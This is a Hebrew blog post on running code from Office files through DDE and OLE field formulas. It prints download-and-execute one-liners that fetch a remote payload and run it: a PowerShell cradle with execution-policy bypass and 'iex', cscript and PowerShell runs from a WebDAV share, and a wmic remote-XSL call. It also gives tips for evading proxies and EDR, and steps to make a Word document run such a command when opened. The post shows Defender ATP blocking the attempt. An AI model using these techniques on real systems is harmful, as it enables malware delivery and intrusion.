דרכים להרצת קוד מתוך Office

הרצת קוד בתוך קובצי Office ניתנת לביצוע בדרכים שונות ועם וקטורים שונים וזאת בהתאם לאפשרויות הקיימות שיש בגרסאות Office השונות, למשל באמצעות OLE, Macros, Addin, DDE וכן הלאה. במהלך השנים הרצת קוד התפתחה עם Payload מעניינים שמאפשרים הזרקה (furmula injection) לתוך קובץ Office ומסוגלים בקלות יחסית לעקוף מנגנוני דואר שונים וכן פלטפורמות EDR למינהם.

למשל Dynamic Data Exchange או בשמו הקצר DDE הוא פרוטוקול המאפשר לרכיבים ומאפיינים שונים באפליקציות Office להעביר מידע בינהם או מחוץ לאפליקציות Office עצמן, למשל באמצעות הפעלה קובץ Word ניתן לייצר תקשורת בין תחנת קצה של המשתמש מול גורם חיצוני וע"י כך להוריד קוד זדוני וכן הלאה.

בנוסף לכך ישנו רכיב נוסף שנקרא OLE (בקצרה Object Linking and Embedding) שתפקידו הוא לקשר בין אובייקטים שונים באמצעות פרוטוקולים שונים בתוך Office כודגמת DDE ולבצע פעולה של אובייקטים שונים מתוך מסמך אחד בתוך אובייקט מסוג מסמך אחר.

הרצת קוד מול רובדי הגנה

כיום ניתן להריץ קוד ותוכן זדוני באמצעות כלים ואפשרויות מתקדמות אך מנגד יש רובדי הגנה שיודעים לתפוס פעולות מסוימות ולרוב פעולות גנריות ובעיקר כאלה שכותבים אל הדיסק.

יצירת Payload היא פעולה פשוטה ובאחת הדוגמאות שהעליתי בעבר ניתן לראות כמה קל ליצור Payload באמצעות Unicorn, כמובן צריך לקחת הכל בפרופורציות ובכדי לעקוף מנגנונים שונים אותו Paylod חייב להיות משהו מושקע יותר.

ישנם דרכים שונות לביצוע Bypass על כל אותם מנגנונים והכל באמצעות פקודות מבוססות oneliners, פקודות אשר מבוססות על שורה אחת מאפשרות לנו לבצע מספר פעולות מתוך אותה שורה ולכן מייעלת את דרכי התקיפה.

כיום ישנם דרכים רבות להריץ oneliners ולא רק באמצעות PowerShell אלא באמצעות שפות נוספות.

אז מה חשוב כאשר מריצים פקודה ופעולה כלשהיא:

  • Proxy – מרבית הארגונים עושים שימוש באמצעות web proxy ולכן אנו צריכים לעקוף את המנגנון על גבי אותו מזהה בתחנת הקצה או משתמש אחר
  • מגנגנון EDR – הרצת קוד בסביבה שמבוססת על EDR היא מאתגרת יותר מכיוון שהיא אינה מאפשרת הרצה של פעולות רבות, חלקן ברמת זכרון (רגע ברוב המקרים יש Agent אז ניתן לעקוף)
  • זכרון – אנו נעשיף להשתמש עם payload שירוצו על גבי memory ולא כאלה שנכתבים לדיסק
  • קוד – איך נריץ את הקוד שלנו, האם באמצעות exe מוכרים וחתומים או עם באמצעות קבצים אחרים
  • אפליקציות לבנות – מערכות המבצעות חיתום של אפליקציות לאפליקציות מורשות בלבד (white list ודומיהם)

אחרי הכל הפעולה אינה פעולה פשוטה אך ניתנת לביצוע ותמיד צריך לחשוב על ביצוע פעולות שעוקפות קצבים או רכיבים בינאריים במערכת.

פקודות מבוססות Oneliners

כאשר מורידים Payload מסוים מתוך גורם חיצוני ישנם מספר אפשרויות:

  • הפקודה אשר מבצעת שימוש מול HTTP
  • הפקודה עושה שימוש מול UNC ולמעשה מפנה ומשתמש באמצעות שרת webdav
  • פעולה באמצעות פקודה ייעודית לטובת הורדה וביצוע פעולה מסוימת מתוך אותה פקודה

הרצה באמצעות PowerShell

הדרך הראשונה היא באמצעות PowerShell שהינה השפה הפופולרית ביותר אך גם המנוטרת ולעיתים חסומה בארגונים הפעולה מבצעת:

  • תקשורת באמצעות Web Proxy
  • ללא כתיבה לדיסק
  • על גבי PowerShell.exe

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://server/payloadAttack.ps1')|iex"

לחלופין נוכל להריץ את הפקודה מתוך שרת WebDav באמצעות הפקודה הבאה אשר שעושה שימוש בפרמטרים הבאים:

  • פעולה באמצעות svchost
  • נכתב לדיסק באמצעות local cache

powershell -exec bypass -f \\webdavsrv\folder\payloadAttack.ps1

הרצה באמצעות Cscript

דרך נוספת והיא באמצעות CScript להורדה של payload מתוך שרת מרוחק

cscript //K:jscript \\webdavsrv\folder\payloadAtaack.txt

עושה שימוש באמצעים הבאים:

  • הרצה מול svchost.exe
  • כתיבה לדיסק ולמיקום WebDAV client local cache

הרצה באמצעות Wmic

בהפעלה אנו קוראים לקובץ מקומי או מרוחק באמצעות XSL

wmic os get /format:"https://websrv/payload.xsl"

  • הרצה מול wmic.exe
  • כתיבה לדיסק ולמיקום

הרצת קוד באמצעות מסמך Office

הרצת קוד באמצעות קובץ Office למשל Word יכולה להיעשות באמצעות הפעולות הבאות:

  • הכנת Payload או לחלופין שימוש בפקודה פשוטה
  • יצירת מסמך Office והרצת הקוד למסמך

אחת הדרכים להרצת קוד או פקודה כלשהיא אל קובץ Word היא באמצעות פורמולה פשוטה שמטרתה להריץ פעולה מסוימת לאחר פתיחת קובץ Word.

דרכים לביצוע

2019-01-25_10h40_57

2019-01-25_10h41_55

באפשרויות Formula אין צורך להגדיר ערך מסוים אלא רק לאחר בחירת הפורמולה עצמה מתוך השדה עצמו.

2019-01-25_11h05_15.png

2019-01-25_10h43_44.png

הקוד או הפקודה שניתן להריץ כאן יכולה להיות פקודת הפעלה פשוטה או לחלופין קריאה לאותו Payload שהוכן מראש ועל סמך פקודות שונות, כדוגמת הפקודות oneliner המצורפות מעלה.

2019-01-25_10h49_13.png

בסיום נשמור את כל הפעולות שבוצעו עד כה ונפתח את הקובץ מחדש, לאחר פתיחת הקובץ נקבל הודעה לגבי פתיחת קישור מול קובץ אחר.

2019-01-25_10h50_24.png

במידה וישנו אנטי וירוס בתחנה ישנם מקרים בהם הפעולה לא תחסם ותתבצע אך למי שעובד עם מנגנון EDR כלשהוא הפעולה תקבל חסימה אוטומטית.

אם נקח למשל את Windows Defender ATP נוכל לראות כי הפעולה נחסמה ונוכל לבצע תחקור על אותה פעולה עם אפשרויות שונות.

2019-01-25_11h15_05.png

2019-01-25_11h15_17.png

2019-01-25_11h16_30.png

לסיכום

הכנה והרצת קוד יכולה להיות פעולה פשוטה וניתן להריץ קוד או פעולה באמצעות שפות שונות במטרה לעקוף את מנגנוני ההגנה הקיימים כיום. ישנם Payload מתוחכמים אשר מסוגלים לבצע עקיפה של מנגנוני דואר ואפילו EDR מסוימים, כמובן שאנטי-וירוס ודומיהם הם כבר לא חלק במשחק כי ניתן לעקוף אותם דיי בקלות.

You may also like...

2 Responses

  1. עדי הגיב:

    מאמר מעולה אלי

  2. רפי הגיב:

    מאמר מצוין תמשיך כך ממתין למאמרים נוספים. תותח על.

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *